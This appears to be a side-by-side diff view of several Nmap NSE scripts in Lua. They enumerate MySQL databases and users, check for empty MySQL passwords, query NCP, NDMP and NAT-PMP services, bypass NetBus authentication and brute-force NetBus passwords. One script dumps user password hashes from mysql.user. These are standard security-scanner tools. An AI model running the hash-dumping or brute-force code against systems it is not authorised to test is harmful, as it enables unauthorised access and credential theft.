-- Iterates over credentials, breaks once it successfully recieves results -- Iterates over credentials, breaks once it successfully recieves results
-- --
for username, password in pairs(users) do for username, password in pairs(users) do
try( socket:connect(host, port) ) try( socket:connect(host, port) )
response = try( mysql.receiveGreeting( socket ) ) response = try( mysql.receiveGreeting( socket ) )
status, response = mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt ) status, response = mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt )
if status and response.errorcode == 0 then if status and response.errorcode == 0 then
local status, rs = mysql.sqlQuery( socket, "show databases" ) local status, rs = mysql.sqlQuery( socket, "show databases" )
if status then if status then
result = mysql.formatResultset(rs, { noheaders = true }) result = mysql.formatResultset(rs, { noheaders = true })
-- if we got here as root, we've got them all -- if we got here as root, we've got them all
-- if we're here as someone else, we cant be sure -- if we're here as someone else, we cant be sure
if username == 'root' then if username == 'root' then
break break
end end
end end
end end
socket:close() socket:close()
end end
return stdnse.format_output(true, result) return stdnse.format_output(true, result)
end end

View File

@@ -43,60 +43,60 @@ local arg_password = stdnse.get_script_args(SCRIPT_NAME .. ".password") or ""
local function fail(err) return ("\n ERROR: %s"):format(err or "") end local function fail(err) return ("\n ERROR: %s"):format(err or "") end
local function getCredentials() local function getCredentials()
-- first, let's see if the script has any credentials as arguments? -- first, let's see if the script has any credentials as arguments?
if ( arg_username ) then if ( arg_username ) then
return { [arg_username] = arg_password } return { [arg_username] = arg_password }
-- next, let's see if mysql-brute or mysql-empty-password brought us anything -- next, let's see if mysql-brute or mysql-empty-password brought us anything
elseif nmap.registry.mysqlusers then elseif nmap.registry.mysqlusers then
-- do we have root credentials? -- do we have root credentials?
if nmap.registry.mysqlusers['root'] then if nmap.registry.mysqlusers['root'] then
return { ['root'] = nmap.registry.mysqlusers['root'] } return { ['root'] = nmap.registry.mysqlusers['root'] }
else else
-- we didn't have root, so let's make sure we loop over them all -- we didn't have root, so let's make sure we loop over them all
return nmap.registry.mysqlusers return nmap.registry.mysqlusers
end end
-- last, no dice, we don't have any credentials at all -- last, no dice, we don't have any credentials at all
end end
end end
local function mysqlLogin(socket, username, password) local function mysqlLogin(socket, username, password)
local status, response = mysql.receiveGreeting( socket ) local status, response = mysql.receiveGreeting( socket )
if ( not(status) ) then if ( not(status) ) then
return response return response
end end
return mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt ) return mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt )
end end
action = function(host, port) action = function(host, port)
local creds = getCredentials() local creds = getCredentials()
if ( not(creds) ) then if ( not(creds) ) then
stdnse.print_debug(2, "No credentials were supplied, aborting ...") stdnse.print_debug(2, "No credentials were supplied, aborting ...")
return return
end end
local result = {} local result = {}
for username, password in pairs(creds) do for username, password in pairs(creds) do
local socket = nmap.new_socket() local socket = nmap.new_socket()
if ( not(socket:connect(host, port)) ) then if ( not(socket:connect(host, port)) ) then
return fail("Failed to connect to server") return fail("Failed to connect to server")
end end
local status, response = mysqlLogin(socket, username, password) local status, response = mysqlLogin(socket, username, password)
if ( status ) then if ( status ) then
local query = "SELECT DISTINCT CONCAT(user, ':', password) FROM mysql.user WHERE password <> ''" local query = "SELECT DISTINCT CONCAT(user, ':', password) FROM mysql.user WHERE password <> ''"
local status, rows = mysql.sqlQuery( socket, query ) local status, rows = mysql.sqlQuery( socket, query )
socket:close() socket:close()
if ( status ) then if ( status ) then
result = mysql.formatResultset(rows, { noheaders = true }) result = mysql.formatResultset(rows, { noheaders = true })
break break
end end
else else
socket:close() socket:close()
end end
end end
if ( result ) then if ( result ) then
return stdnse.format_output(true, result) return stdnse.format_output(true, result)
end end
end end

View File

@@ -31,35 +31,35 @@ portrule = shortport.port_or_service(3306, "mysql")
action = function( host, port ) action = function( host, port )
local socket = nmap.new_socket() local socket = nmap.new_socket()
local result = {} local result = {}
local users = {"", "root"} local users = {"", "root"}
-- set a reasonable timeout value -- set a reasonable timeout value
socket:set_timeout(5000) socket:set_timeout(5000)
for _, v in ipairs( users ) do for _, v in ipairs( users ) do
local status, response = socket:connect(host, port) local status, response = socket:connect(host, port)
if( not(status) ) then return " \n ERROR: Failed to connect to mysql server" end if( not(status) ) then return " \n ERROR: Failed to connect to mysql server" end
status, response = mysql.receiveGreeting( socket ) status, response = mysql.receiveGreeting( socket )
if ( not(status) ) then if ( not(status) ) then
stdnse.print_debug(3, SCRIPT_NAME) stdnse.print_debug(3, SCRIPT_NAME)
socket:close() socket:close()
return response return response
end end
status, response = mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, v, nil, response.salt ) status, response = mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, v, nil, response.salt )
if response.errorcode == 0 then if response.errorcode == 0 then
table.insert(result, string.format("%s account has empty password", ( v=="" and "anonymous" or v ) ) ) table.insert(result, string.format("%s account has empty password", ( v=="" and "anonymous" or v ) ) )
if nmap.registry.mysqlusers == nil then if nmap.registry.mysqlusers == nil then
nmap.registry.mysqlusers = {} nmap.registry.mysqlusers = {}
end end
nmap.registry.mysqlusers[v=="" and "anonymous" or v] = "" nmap.registry.mysqlusers[v=="" and "anonymous" or v] = ""
end end
socket:close() socket:close()
end end
return stdnse.format_output(true, result) return stdnse.format_output(true, result)
end end

View File

@@ -44,54 +44,54 @@ portrule = shortport.port_or_service(3306, "mysql")
action = function( host, port ) action = function( host, port )
local socket = nmap.new_socket() local socket = nmap.new_socket()
local catch = function() socket:close() end local catch = function() socket:close() end
local try = nmap.new_try(catch) local try = nmap.new_try(catch)
local result, response = {}, nil local result, response = {}, nil
local users = {} local users = {}
local nmap_args = nmap.registry.args local nmap_args = nmap.registry.args
local status, rows local status, rows
-- set a reasonable timeout value -- set a reasonable timeout value
socket:set_timeout(5000) socket:set_timeout(5000)
-- first, let's see if the script has any credentials as arguments? -- first, let's see if the script has any credentials as arguments?
if nmap_args.mysqluser then if nmap_args.mysqluser then
users[nmap_args.mysqluser] = nmap_args.mysqlpass or "" users[nmap_args.mysqluser] = nmap_args.mysqlpass or ""
-- next, let's see if mysql-brute or mysql-empty-password brought us anything -- next, let's see if mysql-brute or mysql-empty-password brought us anything
elseif nmap.registry.mysqlusers then elseif nmap.registry.mysqlusers then
-- do we have root credentials? -- do we have root credentials?
if nmap.registry.mysqlusers['root'] then if nmap.registry.mysqlusers['root'] then
users['root'] = nmap.registry.mysqlusers['root'] users['root'] = nmap.registry.mysqlusers['root']
else else
-- we didn't have root, so let's make sure we loop over them all -- we didn't have root, so let's make sure we loop over them all
users = nmap.registry.mysqlusers users = nmap.registry.mysqlusers
end end
-- last, no dice, we don't have any credentials at all -- last, no dice, we don't have any credentials at all
else else
stdnse.print_debug("No credentials supplied, aborting ...") stdnse.print_debug("No credentials supplied, aborting ...")
return return
end end
-- --
-- Iterates over credentials, breaks once it successfully recieves results -- Iterates over credentials, breaks once it successfully recieves results
-- --
for username, password in pairs(users) do for username, password in pairs(users) do
try( socket:connect(host, port) ) try( socket:connect(host, port) )
response = try( mysql.receiveGreeting( socket ) ) response = try( mysql.receiveGreeting( socket ) )
status, response = mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt ) status, response = mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt )
if status and response.errorcode == 0 then if status and response.errorcode == 0 then
status, rows = mysql.sqlQuery( socket, "SELECT DISTINCT user FROM mysql.user" ) status, rows = mysql.sqlQuery( socket, "SELECT DISTINCT user FROM mysql.user" )
if status then if status then
result = mysql.formatResultset(rows, { noheaders = true }) result = mysql.formatResultset(rows, { noheaders = true })
end end
end end
socket:close() socket:close()
end end
return stdnse.format_output(true, result) return stdnse.format_output(true, result)
end end

View File

@@ -25,14 +25,14 @@ categories = {"default", "discovery", "safe"}
portrule = shortport.port_or_service(5351, "nat-pmp", {"udp"} ) portrule = shortport.port_or_service(5351, "nat-pmp", {"udp"} )
action = function(host, port) action = function(host, port)
local helper = natpmp.Helper:new(host, port) local helper = natpmp.Helper:new(host, port)
local status, response = helper:getWANIP() local status, response = helper:getWANIP()
if ( status ) then if ( status ) then
nmap.set_port_state(host, port, "open") nmap.set_port_state(host, port, "open")
port.version.name = "nat-pmp" port.version.name = "nat-pmp"
nmap.set_port_version(host, port) nmap.set_port_version(host, port)
return stdnse.format_output(true, ("WAN IP: %s"):format(response.ip)) return stdnse.format_output(true, ("WAN IP: %s"):format(response.ip))
end end
end end

View File

@@ -35,20 +35,20 @@ categories = {"auth", "safe"}
portrule = shortport.port_or_service(524, "ncp", "tcp") portrule = shortport.port_or_service(524, "ncp", "tcp")
action = function(host, port) action = function(host, port)
local helper = ncp.Helper:new(host,port) local helper = ncp.Helper:new(host,port)
local status, resp = helper:connect() local status, resp = helper:connect()
if ( not(status) ) then return stdnse.format_output(false, resp) end if ( not(status) ) then return stdnse.format_output(false, resp) end
status, resp = helper:search("[Root]", "User", "*") status, resp = helper:search("[Root]", "User", "*")
if ( not(status) ) then return stdnse.format_output(false, resp) end if ( not(status) ) then return stdnse.format_output(false, resp) end
local output = {} local output = {}
for _, entry in ipairs(resp) do for _, entry in ipairs(resp) do
table.insert(output, entry.name) table.insert(output, entry.name)
end end
return stdnse.format_output(true, output) return stdnse.format_output(true, output)
end end

View File

@@ -37,15 +37,15 @@ categories = {"default", "discovery", "safe"}
portrule = shortport.port_or_service(524, "ncp", "tcp") portrule = shortport.port_or_service(524, "ncp", "tcp")
action = function(host, port) action = function(host, port)
local helper = ncp.Helper:new(host,port) local helper = ncp.Helper:new(host,port)
local status, resp = helper:connect() local status, resp = helper:connect()
if ( not(status) ) then return stdnse.format_output(false, resp) end if ( not(status) ) then return stdnse.format_output(false, resp) end
status, resp = helper:getServerInfo() status, resp = helper:getServerInfo()
if ( not(status) ) then return stdnse.format_output(false, resp) end if ( not(status) ) then return stdnse.format_output(false, resp) end
helper:close() helper:close()
return stdnse.format_output(true, resp) return stdnse.format_output(true, resp)
end end

View File

@@ -47,24 +47,24 @@ local function fail(err) return ("\n ERROR: %s"):format(err or "") end
action = function(host, port) action = function(host, port)
local helper = ndmp.Helper:new(host, port) local helper = ndmp.Helper:new(host, port)
local status, msg = helper:connect() local status, msg = helper:connect()
if ( not(status) ) then return fail("Failed to connect to server") end if ( not(status) ) then return fail("Failed to connect to server") end
status, msg = helper:getFsInfo() status, msg = helper:getFsInfo()
if ( not(status) ) then return fail("Failed to get filesystem information from server") end if ( not(status) ) then return fail("Failed to get filesystem information from server") end
helper:close() helper:close()
local result = tab.new(3) local result = tab.new(3)
tab.addrow(result, "FS", "Logical device", "Physical device") tab.addrow(result, "FS", "Logical device", "Physical device")
for _, item in ipairs(msg.fsinfo) do for _, item in ipairs(msg.fsinfo) do
if ( item.fs_logical_device and #item.fs_logical_device ~= 0 ) then if ( item.fs_logical_device and #item.fs_logical_device ~= 0 ) then
if ( item and item.fs_type and item.fs_logical_device and item.fs_physical_device ) then if ( item and item.fs_type and item.fs_logical_device and item.fs_physical_device ) then
tab.addrow(result, item.fs_type, item.fs_logical_device:gsub("?", " "), item.fs_physical_device) tab.addrow(result, item.fs_type, item.fs_logical_device:gsub("?", " "), item.fs_physical_device)
end end
end end
end end
return "\n" .. tab.dump(result) return "\n" .. tab.dump(result)
end end

View File

@@ -29,35 +29,35 @@ portrule = shortport.version_port_or_service(10000, "ndmp", "tcp")
local function fail(err) return ("\n ERROR: %s"):format(err or "") end local function fail(err) return ("\n ERROR: %s"):format(err or "") end
local function vendorLookup(vendor) local function vendorLookup(vendor)
if ( vendor:match("VERITAS") ) then if ( vendor:match("VERITAS") ) then
return "Symantec/Veritas Backup Exec ndmp" return "Symantec/Veritas Backup Exec ndmp"
else else
return vendor return vendor
end end
end end
action = function(host, port) action = function(host, port)
local helper = ndmp.Helper:new(host, port) local helper = ndmp.Helper:new(host, port)
local status, err = helper:connect() local status, err = helper:connect()
if ( not(status) ) then return fail("Failed to connect to server") end if ( not(status) ) then return fail("Failed to connect to server") end
local hi, si local hi, si
status, hi = helper:getHostInfo() status, hi = helper:getHostInfo()
if ( not(status) ) then return fail("Failed to get host information from server") end if ( not(status) ) then return fail("Failed to get host information from server") end
status, si = helper:getServerInfo() status, si = helper:getServerInfo()
if ( not(status) ) then return fail("Failed to get server information from server") end if ( not(status) ) then return fail("Failed to get server information from server") end
helper:close() helper:close()
local major, minor, build, smajor, sminor = hi.hostinfo.osver:match("Major Version=(%d+) Minor Version=(%d+) Build Number=(%d+) ServicePack Major=(%d+) ServicePack Minor=(%d+)") local major, minor, build, smajor, sminor = hi.hostinfo.osver:match("Major Version=(%d+) Minor Version=(%d+) Build Number=(%d+) ServicePack Major=(%d+) ServicePack Minor=(%d+)")
port.version.name = "ndmp" port.version.name = "ndmp"
port.version.product = vendorLookup(si.serverinfo.vendor) port.version.product = vendorLookup(si.serverinfo.vendor)
port.version.ostype = hi.hostinfo.ostype port.version.ostype = hi.hostinfo.ostype
if ( hi.hostinfo.hostname ) then if ( hi.hostinfo.hostname ) then
port.version.extrainfo = ("Name: %s; "):format(hi.hostinfo.hostname) port.version.extrainfo = ("Name: %s; "):format(hi.hostinfo.hostname)
end end
if ( major and minor and build and smajor and sminor ) then if ( major and minor and build and smajor and sminor ) then
port.version.extrainfo = port.version.extrainfo .. ("OS ver: %d.%d; OS Build: %d; OS Service Pack: %d"):format(major, minor, build, smajor) port.version.extrainfo = port.version.extrainfo .. ("OS ver: %d.%d; OS Build: %d; OS Service Pack: %d"):format(major, minor, build, smajor)
end end
nmap.set_port_version(host, port) nmap.set_port_version(host, port)
end end

View File

@@ -31,28 +31,28 @@ portrule = shortport.port_or_service (12345, "netbus", {"tcp"})
action = function( host, port ) action = function( host, port )
local socket = nmap.new_socket() local socket = nmap.new_socket()
local status, err = socket:connect(host.ip, port.number) local status, err = socket:connect(host.ip, port.number)
if not status then if not status then
return return
end end
local buffer, _ = stdnse.make_buffer(socket, "\r") local buffer, _ = stdnse.make_buffer(socket, "\r")
buffer() --discard banner buffer() --discard banner
-- The first argument of Password is the super-login bit. -- The first argument of Password is the super-login bit.
-- On vulnerable servers any password will do as long as -- On vulnerable servers any password will do as long as
-- we send the super-login bit. Regular NetBus has only -- we send the super-login bit. Regular NetBus has only
-- one password. Thus, if we can login with two different -- one password. Thus, if we can login with two different
-- passwords using super-login, the server is vulnerable. -- passwords using super-login, the server is vulnerable.
socket:send("Password;1;\r") --password: empty socket:send("Password;1;\r") --password: empty
if buffer() ~= "Access;1" then if buffer() ~= "Access;1" then
return return
end end
socket:send("Password;1; \r") --password: space socket:send("Password;1; \r") --password: space
if buffer() == "Access;1" then if buffer() == "Access;1" then
return "Vulnerable" return "Vulnerable"
end end
return "Not vulnerable, but password is empty" return "Not vulnerable, but password is empty"
end end

View File

@@ -26,33 +26,33 @@ dependencies = {"netbus-version"}
portrule = shortport.port_or_service (12345, "netbus", {"tcp"}) portrule = shortport.port_or_service (12345, "netbus", {"tcp"})
action = function( host, port ) action = function( host, port )
local try = nmap.new_try() local try = nmap.new_try()
local passwords = try(unpwdb.passwords()) local passwords = try(unpwdb.passwords())
local socket = nmap.new_socket() local socket = nmap.new_socket()
local status, err = socket:connect(host.ip, port.number) local status, err = socket:connect(host.ip, port.number)
if not status then if not status then
return return
end end
local buffer, err = stdnse.make_buffer(socket, "\r") local buffer, err = stdnse.make_buffer(socket, "\r")
local _ = buffer() --skip the banner local _ = buffer() --skip the banner
for password in passwords do for password in passwords do
local foo = string.format("Password;0;%s\r", password) local foo = string.format("Password;0;%s\r", password)
socket:send(foo) socket:send(foo)
local login = buffer() local login = buffer()
if login == "Access;1" then if login == "Access;1" then
-- Store the password for other netbus scripts -- Store the password for other netbus scripts
local key = string.format("%s:%d", host.ip, port.number) local key = string.format("%s:%d", host.ip, port.number)
if not nmap.registry.netbuspasswords then if not nmap.registry.netbuspasswords then
nmap.registry.netbuspasswords = {} nmap.registry.netbuspasswords = {}
end end
nmap.registry.netbuspasswords[key] = password nmap.registry.netbuspasswords[key] = password
if password == "" then if password == "" then
return "<empty>" return "<empty>"
end end
return string.format("%s", password) return string.format("%s", password)
end end
end end
socket:close() socket:close()
end end

Some files were not shown because too many files have changed in this diff Show More